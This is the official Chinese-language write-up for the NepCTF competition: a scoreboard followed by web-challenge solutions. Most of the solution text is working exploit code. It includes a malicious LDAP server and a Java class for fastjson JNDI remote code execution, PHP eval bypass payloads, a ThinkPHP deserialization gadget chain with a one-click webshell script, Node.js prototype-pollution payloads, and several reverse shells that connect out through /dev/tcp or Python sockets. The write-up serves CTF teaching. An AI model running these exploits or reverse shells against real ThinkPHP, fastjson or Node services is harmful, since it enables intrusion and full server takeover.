NepCTF比赛官方writeup

 

第一次独立办比赛,多有不周,请大家多多海涵,我们一定会继续努力,诚心实意地为大家带来更高质量的比赛。感谢所有参赛选手的支持,向大家表示由衷的感谢。最后感谢我们的运维师傅yunen。评论区,抽3位赠送零组文库邀请码。

 

比赛最终成绩

1 mirait 1375
2 Team233 1364
3 魔法少女雪殇 1195
4 Y4摸鱼来玩 1183
5 cew 1094
6 Ekove 1036
7 Ginkgo小迷妹 993
8 richar 973
9 fasfdsada 971
10 ThTsOd 929
11 Lorlike 869
12 bubble 661
13 一只狗 640
14 FzWjScJ 635
15 一人一塔,人在塔在! 515
16 sccba 494
17 5hr1m9wr 456
18 LemonPrefect 396
19 Square_R 365
20 MAS 363
21 Zuni_W 358
22 catch_the_fish 358
23 V01can0 343
24 erR0Ratao 303
25 白给分队 264
26 Penson 247
27 ayoung 234
28 wsxk 225
29 white_give 225
30 彩虹小马 211
31 yq1ng 196
32 Err0r 163
33 比格尔的猫 147
34 Pp1ove 97
35 haonana 85
36 为什么我什么都不会 78
37 球球大佬带带我 73
38 H3h3QAQ 10
39 XXX_HB 10

 

Web

Easy_Tomcat

步骤一:利用头像选择,读取源码文件

再注册页面可以选择头像,抓包修改头像目录,在这里设置了两个简单的WAF意思一下,第一个像目录必须包含static/img,第二头像不能含有两个以上的../

抓包构造payload static/img/../../WEB-INF/web.xml,读取web.xml。

通过web.xml中的信息,我们可以找到类文件的目录信息,推测出类文件地址为WEB-INF/classes/javademo/InitServlet.class

<servlet>
    <servlet-name>InitServlet</servlet-name>
    <servlet-class>javademo.InitServlet</servlet-class>
    <load-on-startup>1</load-on-startup>

</servlet>

读取InitServlet,获取admin账号密码,同时可以发现靶机环境是java8。

登录admin,发现admin具有删除用户功能

抓包可以发现,他将信息打包成json格式,发送给服务端,在源码中发现使用了fastjson解析json数据,再加上靶机环境是java8 ,所以可以确定思路是fastjson+ldap rce。

步骤二:fastjson+ldap RCE拿flag

在自己的服务器上搭建恶意ldap服务器(贴一下网上找的脚本吧)

LdapService.java

import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;


/**
 * LDAP server implementation returning JNDI references
 *
 * @author mbechler
 *
 */
public class LDAPRefServer {

    private static final String LDAP_BASE = "dc=example,dc=com";


    public static void main ( String[] args ) {
        int port = 1389;
        String url = "http://vps_ip:port/#exec";

        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen", //$NON-NLS-1$
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;


        /**
         *
         */
        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }


        /**
         * {@inheritDoc}
         *
         * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */
        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }

        }


        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "exec");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

    }
}

服务器会根据ldap服务器返回的codebase地址加载恶意类,也就是http://vps_ip:port/exec.class,所以需要在服务器上部署好该类文件,由于没有回显,可以通过反弹shell来获取flag。

exec.java

import java.util.Hashtable;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;

public class exec implements ObjectFactory {


    public static void main(String[] args) {
    }

    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        Runtime r = Runtime.getRuntime();
        Process p = r.exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/ip/port;cat <&5 | while read line; do $line 2>&5 >&5; done"});

        return null;
    }
}

部署好后,使用burp抓取删除用户的包。

将json数据改为我们的payload

{"name":{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"ldap://ip_port/exec","autoCommit":true]}}

即可弹到shell,cat /flag_nepnep获取flag

little_trick

1.1 版本1:

<?php
    error_reporting(0);
    highlight_file(__FILE__);
    $nep = $_GET['nep'];
    $len = $_GET['len'];
    if(strlen($nep)<13){
        eval(substr($nep,0,$len));
    }else{
        die('too long!');
    }
?>

payload:

?nep=echo`cat *`;&len=100

1.2 版本2:

题目源码:

<?php
    error_reporting(0);
    highlight_file(__FILE__);
    $nep = $_GET['nep'];
    $len = $_GET['len'];
    if(intval($len)<8 && strlen($nep)<13){
        eval(substr($nep,0,$len));
    }else{
        die('too long!');
    }
?>
1.2.1 解法1

payload:

`ls>z`;&len=7
`>cat`;&len=7
`*>z`;&len=6
1.2.2 解法2

payload:

?nep=`$nep`;ls>z&len=7
?nep=`$nep`;>cat&len=7
?nep=`$nep`;*>z&len=7

写一个demo来说明:

程序会因为变量未定义出现notice,但仍能通过反引号正常rce。

<?php
$nep = "`$nep`;>cat";
`$nep`;
# PHP Notice:  Undefined variable:

存在长度限制,但可以利用大于号去写文件

?nep=`$nep`;ls>z&len=7 
// 得到目录下文件名
?nep=`$nep`;>cat&len=7
// 生成文件名为cat的文件
?nep=`$nep`;*>z&len=7
输入通配符*,Linux会把第一个列出的文件名当作命令,剩下的文件名当作参数。

最后访问文件z即可。

1.2.3 解法3
# -*- coding: UTF-8 -*-
import requests
p = r'''>hp
>1.p\\
>d\>\\
>\ -\\
>e64\\
>bas\\
>7\|\\
>XSk\\
>Fsx\\
>dFV\\
>kX0\\
>bCg\\
>XZh\\
>AgZ\\
>waH\\
>PD9\\
>o\ \\
>ech\\
ls -t>0
sh 0'''

url = "http://192.168.130.128:10110/47c87ab02c7cac57165d0c568f0542bc/?nep={}&len=-1"
print("[+]start attack!!!")

for i in p.split('\n'):
    print(i)
    payload = '`' + i.strip() + '`;;'
    print("[*]" + url.format(payload))
    requests.get(url.format(payload))

就得到了一个1.php的shell

<?php eval($_GET[1]);
1.2.3 解法4
?nep=`$_GET[1]`;;&len=-1&1=bash -i >& /dev/tcp/ip/10110 0>&1

faka_revenge

细数下自己上的waf:

1、后台管理员强口令。

2、限制添加管理员账号。

3、文件上传后缀名限制。

4、phar文件上传限制。

5、管理员后台任意文件读取限制..

6、disable_functions危险函数禁用。

7、open_basedir目录限制。

这些waf针对的都是网上披露的对网鼎半决赛faka的解。

2.1 解法1:rce

参考资料:

1、 https://www.smi1e.top/thinkphp-5-0-05-0-23-rce-%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/

2、 https://www.mrkaixin.top/posts/52d8d801/#EasyTp

disable_functions忘记限制passthru了,被轻松打穿。(比赛第二天下午3点多无聊看了下自己的题才发现,很惭愧,问了一些做出的师傅,确实被轻松rce了,但看到做出的人不多,加上时间比较晚,就不上修复版本了)

_method=__construct&filter[]=passthru&server[]=aurinko&get[]=cat /*

2.2 解法2 rce + 反序列化

在能rce的那个点,使用unserialize函数,直接反序列化。

参考资料如下:

https://www.jianshu.com/p/bb54c6e1c1b4

https://b1eed.github.io/2020/03/25/Thinkphp5.0.24-unserialize/

https://www.anquanke.com/post/id/196364#h2-6

payload:

<?php

namespace think\cache\driver; #File
class File
{
    protected $options = [];
    protected $tag;
    function __construct()
    {
        $this->options = [
            'expire'        => 0,
            'cache_subdir'  => false,
            'prefix'        => '',
            // 'path'          => './static/runtime/',
            'path'          => './static/runtime/aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/',
            // 'path'          => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=./static/runtime/aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/a.php',
            //  这里注意runtime后面加一个/才表示目录,创建目录
            'data_compress' => false,
        ];
        $this->tag = true;
    }
}

namespace think\session\driver; #Memcached
use think\cache\driver\File;
class Memcached
{
    protected $handler = null;
    function __construct()
    {
        $this->handler = new File(); //目的调用File->set()
    }
}

namespace think\model\relation;
class HasOne
{
    protected $bindAttr = [];
    protected $model = [];
    function __construct()
    {
        $this->bindAttr = ["no", "123"];
        $this->model = 'think\console\Output';
    }
}

namespace think\console; #Output
use think\session\driver\Memcached;
class Output
{
    private $handle = null;
    protected $styles = [];
    function __construct()
    {
        $this->handle = new Memcached(); //目的调用其write()
        $this->styles = ['getAttr'];
    }
}

namespace think\db;#Query
use think\console\Output;
class Query{
  protected $model;
  function __construct(){
    $this->model = new Output();
  }
}

namespace think;
use think\model\relation\HasOne;
use think\console\Output;
use think\db\Query;
abstract class Model
{
    protected $append = [];
    protected $error;
    public $parent; #修改处
    protected $selfRelation;
    protected $query;
    function __construct()
    {
        $this->parent = new Output(); #Output对象,目的是调用__call()
        $this->append = ['getError'];
        $this->error = new HasOne(); //Relation子类,且有getBindAttr()
        $this->selfRelation = false; //isSelfRelation()
        $this->query = new Query();
    }
}

namespace think\model;
use think\Model;
class Pivot extends Model{
    # Model是抽象类,不能实例化,只能通过子类Pivot来继承。
}

namespace think\process\pipes;
use think\Model\Pivot;
class Windows
{
    function __construct()
    {
        $this->files = [new Pivot()];
    }
}
$a = new Windows();
echo urlencode(serialize($a));

exp如下:一键getshell,再往后直接命令执行拿flag,

或者想绕过下open_basedir翻目录拿都行( https://github.com/mm0r1/exploits )。

#coding:utf-8
import requests
from urllib.parse import unquote,quote
proxies = {
    'http' : '127.0.0.1:8080'
}
def mkdir1(url):
    payload1 = 'O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A5%3A%22files%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A5%3A%7Bs%3A9%3A%22%00%2A%00append%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A8%3A%22getError%22%3B%7Ds%3A8%3A%22%00%2A%00error%22%3BO%3A27%3A%22think%5Cmodel%5Crelation%5CHasOne%22%3A2%3A%7Bs%3A11%3A%22%00%2A%00bindAttr%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A2%3A%22no%22%3Bi%3A1%3Bs%3A3%3A%22123%22%3B%7Ds%3A8%3A%22%00%2A%00model%22%3Bs%3A20%3A%22think%5Cconsole%5COutput%22%3B%7Ds%3A6%3A%22parent%22%3BO%3A20%3A%22think%5Cconsole%5COutput%22%3A2%3A%7Bs%3A28%3A%22%00think%5Cconsole%5COutput%00handle%22%3BO%3A30%3A%22think%5Csession%5Cdriver%5CMemcached%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00handler%22%3BO%3A23%3A%22think%5Ccache%5Cdriver%5CFile%22%3A2%3A%7Bs%3A10%3A%22%00%2A%00options%22%3Ba%3A5%3A%7Bs%3A6%3A%22expire%22%3Bi%3A0%3Bs%3A12%3A%22cache_subdir%22%3Bb%3A0%3Bs%3A6%3A%22prefix%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22path%22%3Bs%3A17%3A%22.%2Fstatic%2Fruntime%2F%22%3Bs%3A13%3A%22data_compress%22%3Bb%3A0%3B%7Ds%3A6%3A%22%00%2A%00tag%22%3Bb%3A1%3B%7D%7Ds%3A9%3A%22%00%2A%00styles%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A7%3A%22getAttr%22%3B%7D%7Ds%3A15%3A%22%00%2A%00selfRelation%22%3Bb%3A0%3Bs%3A8%3A%22%00%2A%00query%22%3BO%3A14%3A%22think%5Cdb%5CQuery%22%3A1%3A%7Bs%3A8%3A%22%00%2A%00model%22%3BO%3A20%3A%22think%5Cconsole%5COutput%22%3A2%3A%7Bs%3A28%3A%22%00think%5Cconsole%5COutput%00handle%22%3BO%3A30%3A%22think%5Csession%5Cdriver%5CMemcached%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00handler%22%3BO%3A23%3A%22think%5Ccache%5Cdriver%5CFile%22%3A2%3A%7Bs%3A10%3A%22%00%2A%00options%22%3Ba%3A5%3A%7Bs%3A6%3A%22expire%22%3Bi%3A0%3Bs%3A12%3A%22cache_subdir%22%3Bb%3A0%3Bs%3A6%3A%22prefix%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22path%22%3Bs%3A17%3A%22.%2Fstatic%2Fruntime%2F%22%3Bs%3A13%3A%22data_compress%22%3Bb%3A0%3B%7Ds%3A6%3A%22%00%2A%00tag%22%3Bb%3A1%3B%7D%7Ds%3A9%3A%22%00%2A%00styles%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A7%3A%22getAttr%22%3B%7D%7D%7D%7D%7D%7D'
    payload2 = '_method=__construct&filter[]=unserialize&server[]=phpinfo&get[]={}'.format(payload1)
    res1 = requests.post(url,data = payload2,cookies = cookies,headers = headers)
    res2 = requests.get(url + '/static/runtime/',cookies = cookies,headers = headers)
    if(res2.status_code == 403):
        print('[+]  ./static/runtime目录创建成功')

def mkdir2(url):
    payload1 = "O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A5%3A%22files%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A5%3A%7Bs%3A9%3A%22%00%2A%00append%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A8%3A%22getError%22%3B%7Ds%3A8%3A%22%00%2A%00error%22%3BO%3A27%3A%22think%5Cmodel%5Crelation%5CHasOne%22%3A2%3A%7Bs%3A11%3A%22%00%2A%00bindAttr%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A2%3A%22no%22%3Bi%3A1%3Bs%3A3%3A%22123%22%3B%7Ds%3A8%3A%22%00%2A%00model%22%3Bs%3A20%3A%22think%5Cconsole%5COutput%22%3B%7Ds%3A6%3A%22parent%22%3BO%3A20%3A%22think%5Cconsole%5COutput%22%3A2%3A%7Bs%3A28%3A%22%00think%5Cconsole%5COutput%00handle%22%3BO%3A30%3A%22think%5Csession%5Cdriver%5CMemcached%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00handler%22%3BO%3A23%3A%22think%5Ccache%5Cdriver%5CFile%22%3A2%3A%7Bs%3A10%3A%22%00%2A%00options%22%3Ba%3A5%3A%7Bs%3A6%3A%22expire%22%3Bi%3A0%3Bs%3A12%3A%22cache_subdir%22%3Bb%3A0%3Bs%3A6%3A%22prefix%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22path%22%3Bs%3A61%3A%22.%2Fstatic%2Fruntime%2FaaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g%2F%22%3Bs%3A13%3A%22data_compress%22%3Bb%3A0%3B%7Ds%3A6%3A%22%00%2A%00tag%22%3Bb%3A1%3B%7D%7Ds%3A9%3A%22%00%2A%00styles%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A7%3A%22getAttr%22%3B%7D%7Ds%3A15%3A%22%00%2A%00selfRelation%22%3Bb%3A0%3Bs%3A8%3A%22%00%2A%00query%22%3BO%3A14%3A%22think%5Cdb%5CQuery%22%3A1%3A%7Bs%3A8%3A%22%00%2A%00model%22%3BO%3A20%3A%22think%5Cconsole%5COutput%22%3A2%3A%7Bs%3A28%3A%22%00think%5Cconsole%5COutput%00handle%22%3BO%3A30%3A%22think%5Csession%5Cdriver%5CMemcached%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00handler%22%3BO%3A23%3A%22think%5Ccache%5Cdriver%5CFile%22%3A2%3A%7Bs%3A10%3A%22%00%2A%00options%22%3Ba%3A5%3A%7Bs%3A6%3A%22expire%22%3Bi%3A0%3Bs%3A12%3A%22cache_subdir%22%3Bb%3A0%3Bs%3A6%3A%22prefix%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22path%22%3Bs%3A61%3A%22.%2Fstatic%2Fruntime%2FaaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g%2F%22%3Bs%3A13%3A%22data_compress%22%3Bb%3A0%3B%7Ds%3A6%3A%22%00%2A%00tag%22%3Bb%3A1%3B%7D%7Ds%3A9%3A%22%00%2A%00styles%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A7%3A%22getAttr%22%3B%7D%7D%7D%7D%7D%7D"
    payload2 = '_method=__construct&filter[]=unserialize&server[]=phpinfo&get[]={}'.format(payload1)
    res1 = requests.post(url,data = payload2,cookies = cookies,headers = headers)
    res2 = requests.get(url + '/static/runtime/aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/',cookies = cookies,headers = headers)
    if(res2.status_code == 403):
        print('[+]  ./static/runtime/aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/目录创建成功')

def getshell(url):
    payload1 = 'O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A5%3A%22files%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A5%3A%7Bs%3A9%3A%22%00%2A%00append%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A8%3A%22getError%22%3B%7Ds%3A8%3A%22%00%2A%00error%22%3BO%3A27%3A%22think%5Cmodel%5Crelation%5CHasOne%22%3A2%3A%7Bs%3A11%3A%22%00%2A%00bindAttr%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A2%3A%22no%22%3Bi%3A1%3Bs%3A3%3A%22123%22%3B%7Ds%3A8%3A%22%00%2A%00model%22%3Bs%3A20%3A%22think%5Cconsole%5COutput%22%3B%7Ds%3A6%3A%22parent%22%3BO%3A20%3A%22think%5Cconsole%5COutput%22%3A2%3A%7Bs%3A28%3A%22%00think%5Cconsole%5COutput%00handle%22%3BO%3A30%3A%22think%5Csession%5Cdriver%5CMemcached%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00handler%22%3BO%3A23%3A%22think%5Ccache%5Cdriver%5CFile%22%3A2%3A%7Bs%3A10%3A%22%00%2A%00options%22%3Ba%3A5%3A%7Bs%3A6%3A%22expire%22%3Bi%3A0%3Bs%3A12%3A%22cache_subdir%22%3Bb%3A0%3Bs%3A6%3A%22prefix%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22path%22%3Bs%3A136%3A%22php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-7%7Cconvert.base64-decode%2Fresource%3D.%2Fstatic%2Fruntime%2FaaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g%2Fa.php%22%3Bs%3A13%3A%22data_compress%22%3Bb%3A0%3B%7Ds%3A6%3A%22%00%2A%00tag%22%3Bb%3A1%3B%7D%7Ds%3A9%3A%22%00%2A%00styles%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A7%3A%22getAttr%22%3B%7D%7Ds%3A15%3A%22%00%2A%00selfRelation%22%3Bb%3A0%3Bs%3A8%3A%22%00%2A%00query%22%3BO%3A14%3A%22think%5Cdb%5CQuery%22%3A1%3A%7Bs%3A8%3A%22%00%2A%00model%22%3BO%3A20%3A%22think%5Cconsole%5COutput%22%3A2%3A%7Bs%3A28%3A%22%00think%5Cconsole%5COutput%00handle%22%3BO%3A30%3A%22think%5Csession%5Cdriver%5CMemcached%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00handler%22%3BO%3A23%3A%22think%5Ccache%5Cdriver%5CFile%22%3A2%3A%7Bs%3A10%3A%22%00%2A%00options%22%3Ba%3A5%3A%7Bs%3A6%3A%22expire%22%3Bi%3A0%3Bs%3A12%3A%22cache_subdir%22%3Bb%3A0%3Bs%3A6%3A%22prefix%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22path%22%3Bs%3A136%3A%22php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-7%7Cconvert.base64-decode%2Fresource%3D.%2Fstatic%2Fruntime%2FaaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g%2Fa.php%22%3Bs%3A13%3A%22data_compress%22%3Bb%3A0%3B%7Ds%3A6%3A%22%00%2A%00tag%22%3Bb%3A1%3B%7D%7Ds%3A9%3A%22%00%2A%00styles%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A7%3A%22getAttr%22%3B%7D%7D%7D%7D%7D%7D'
    payload2 = '_method=__construct&filter[]=unserialize&server[]=phpinfo&get[]={}'.format(payload1)
    res1 = requests.post(url,data = payload2,cookies = cookies,headers = headers)
    res2 = requests.get(url + '/static/runtime/aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/a.php3b58a9545013e88c7186db11bb158c44.php',cookies = cookies,headers = headers)
    if(res2.status_code == 200):
        print('[+]  shell写入成功')
        print('[+]  shell地址为:http://ip/static/runtime/aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/a.php3b58a9545013e88c7186db11bb158c44.php')

if __name__ == '__main__':
    headers = {
        'Content-Type' : 'application/x-www-form-urlencoded'
    }
    cookies = {
        'freeze_money_tip' : '1',
        's7466e88d' : 'enkfhrvocvpqhdj7q68ipg17c5'
    }
    url = 'http://7f7c1174-5fbb-4476-9e3d-b42bd8069bb6.node5.hackingfor.fun/'
    # shell密码:ccc
    mkdir1(url)
    mkdir2(url)
    getshell(url)

gamejs

gamejs改编自自己上一年4,5月份刚接触ctf时,碰到的一个大牛做某道nodejs题的思路。

也在这里总结下,出了三道题littletrick,faka_revenge,gamejs,都有不同程度的缺陷,一是因为自己出题水平的不行,二是赛前时间紧(自己的问题,在忙别的事)没去测题,

导致一些本来自己感觉还不错的解法变成了鸡肋,第一次出题,只能说对不起各位做题的大佬了,请各位大佬多多包涵,我会努力的。

3.0 非预期

做出的师傅大多都是非预期一把梭了,这里就不贴了。

3.1 settings

限制了static目录不可写

可以出网

3.2 思路

题目逻辑相当简单,游戏结束返回分数到后台的record路由。

可以看到未限制score的传入类型,如果我们传入一个json对象,对象中的属性是可以任意定义的。令

{"score":{"length":1}}

即可绕过第一个if判断。

merge函数明示了是可以进行原型链污染的,payload如下

{"score": {"constructor":{"prototype":{"__proto__":{"asd":"1"}}},"length":1}}
或者:
{"score": {"__proto__":{"__proto__":{"asd":"1"}},"length":1}}

NaN 即 Not a Number ,不是一个数字,轻松绕过第二个if判断进入到unserialize函数。

async function record(req, res, next) {
    new Promise(function (resolve, reject) {
        var record = new Record();
        var score = req.body.score;
        if (score.length < String(highestScore).length) {
            merge(record, {
                lastScore: score,
                maxScore: Math.max(parseInt(score),record.maxScore),
                lastTime: new Date().toString()
            });
            highestScore = highestScore > parseInt(score) ? highestScore : parseInt(score);
            if ((score - highestScore) < 0) {
                var banner = "不好,没有精神!";
            } else {
                var banner = unserialize(serialize_banner).banner;
            }
        }
        res.json({
            banner: banner,
            record: record
        });
    }).catch(function (err) {
        next(err)
    })
}

serialize_banner虽然不可控,但我们是可以进行原型链污染的,通过遍历obj对象,进入到eval。

var unserialize = function(obj) {
    obj = JSON.parse(obj);
    if (typeof obj === 'string') {
      return obj;
    }
    var key;
    for(key in obj) {
      if(typeof obj[key] === 'string') {
        if(obj[key].indexOf(FUNCFLAG) === 0) {
          var func_code=obj[key].substring(FUNCFLAG.length);
          if (validCode(func_code)){
            var d = '(' + func_code + ')';
            obj[key] = eval(d);
          }
        }
      }
    }
    return obj;
};

但是有validCode的判断,过滤设置的稀碎(被好多师傅用\非预期了,i hate \):

var validCode = function (func_code){
    let validInput = /subprocess|mainModule|from|buffer|process|child_process|main|require|exec|this|eval|while|for|function|hex|char|base64|"|'|\[|\+|\*/ig;
    return !validInput.test(func_code);
};

可以去考虑下本项目安装的模块,有一个opn可以用。

查看\node_modules\opn\index.js

主函数是个异步函数,返回一个Promise,传参target和options

target要求字符串,设定值为命令执行的payload。

options定义为{app:['bash','-c'],wait:true}

最终command为bash,

cliArguments为[‘-c’,payload]

wait为true的原因是避免没有输出,

if (!options.wait) {
// 这一步设定的目的是使子进程完全独立,不和主进程进行标准进程通信
// `xdg-open` will block the process unless stdio is ignored
// and it's detached from the parent even if it's unref'd.
childProcessOptions.stdio = 'ignore';
childProcessOptions.detached = true;
}
// stdio配置pipe(默认),设置成ignore则输出禁止
    const subprocess = childProcess.spawn(command, cliArguments, childProcessOptions);

    if (options.wait) {
        return new Promise((resolve, reject) => {
            subprocess.once('error', reject);

            subprocess.once('close', exitCode => {
                if (exitCode > 0) {
                    reject(new Error(`Exited with code ${exitCode}`));
                    return;
                }

                resolve(subprocess);
            });
        });
    }

    subprocess.unref();

    return subprocess;
};

到了这里已经可以得到组合在一起的payload的了,调用opn函数,通过通配符?绕过base64过滤,将payload写入到tmp目录,然后bash执行。

'{"score": {"constructor":{"prototype":{"__proto__":{"asd":"_$$ND_FUNC$$_(()=>{a=Array();a.push(`bash`);a.push(`-c`);var out=Array();var sp=opn(`echo BASE64_HERE | /usr/bin/bas?64 -d > /tmp/aurinko | bash /tmp/aurinko`,{app:a,wait:true});return `gamejs`})()"}}},"length":1}}'

我设定了静态目录不可写,但没有限制不能出网,所以通过python的反弹shell仍然是可以拿到shell的。exp放在下面了。

这里着重介绍下盲注的思路,先来讲一个demo。

编写下面的脚本,并命名为 test.sh:

#!/bin/bash
echo "befor exit"
exit 8
echo "after exit"

exit 是一个 Shell 内置命令,用来退出当前 Shell 进程,并返回一个退出状态;使用$?可以接收这个退出状态,

可以看到返回的状态码是可以控制的,而opn函数最后正好有:

reject(new Error(`Exited with code ${exitCode}`));

所以盲注流程如下:

  • rce获取输出,依次把每一位转化成0-255的ascii码,然后catch捕捉并放到一个全局变量里面(还记得开头那个忘记了的flag吗)
  • 第二次把banner替换成这个全局变量输出出来

3.3 exp

3.3.1 反弹shell
#coding:utf-8
import requests
import base64
import re
import time
import sys

payload0 = "python -c \"import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',10110));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);\""
payload1 = r'{"score": {"constructor":{"prototype":{"__proto__":{"asd":"_$$ND_FUNC$$_(()=>{a=Array();a.push(`bash`);a.push(`-c`);var out=Array();var sp=opn(`echo BASE64_HERE | /usr/bin/bas?64 -d > /tmp/aurinko | bash /tmp/aurinko`,{app:a,wait:true});return `gamejs`})()"}}},"length":1}}'

url = "http://4ecabb57-002b-41f3-985f-c3891b736923.node5.hackingfor.fun/record"
headers = {
    "Content-Type": "application/json"
}
p1 = payload1.replace("BASE64_HERE", base64.b64encode(
    bytes(payload0, 'utf-8')).decode('utf-8'))
r = requests.post(url, data=p1, headers=headers)
3.3.2 盲注
#coding:utf-8
import requests
import base64
import re
import time
import sys

payload0 = "python -c \"import subprocess;a=subprocess.check_output(['cat /flag'],shell=True);print int(ord(a[OFFSET]))\""
payload1 = r'{"score": {"constructor":{"prototype":{"__proto__":{"asd":"_$$ND_FUNC$$_(()=>{a=Array();a.push(`bash`);a.push(`-c`);var sp=opn(`echo BASE64_HERE | /usr/bin/bas?64 -d > /tmp/aurinko`,{app:a,wait:true});return `gamejs`})()"}}},"length":1}}'
payload2 = r'{"score": {"constructor":{"prototype":{"__proto__":{"asd":"_$$ND_FUNC$$_(()=>{a=Array();a.push(`bash`);a.push(`-c`);var sp=opn(`a=$(bash /tmp/aurinko);exit $a`,{app:a,wait:true});sp.catch((j)=>{console.log(j);flag.aaaac=j.toString();});return `gamejs`})()"}}},"length":1}}'
payload3 = r'{"score": {"constructor":{"prototype":{"__proto__":{"asd":"_$$ND_FUNC$$_(()=>{obj.banner=flag.aaaac})()"}}},"length":1}}'

url = "http://c0801fd8-a8cf-44bc-8c79-dbd570225e54.node5.hackingfor.fun/record"
headers = {
    "Content-Type": "application/json"
}
for i in range(40):
    p0 = payload0.replace("OFFSET",str(i))
    # print(p0)
    p1 = payload1.replace("BASE64_HERE", base64.b64encode(bytes(p0,'utf-8')).decode('utf-8'))
    # # print(p1)
    r=requests.post(url,data=p1,headers = headers)
    time.sleep(0.2)
    r=requests.post(url, data=payload2, headers=headers)
    time.sleep(0.2)
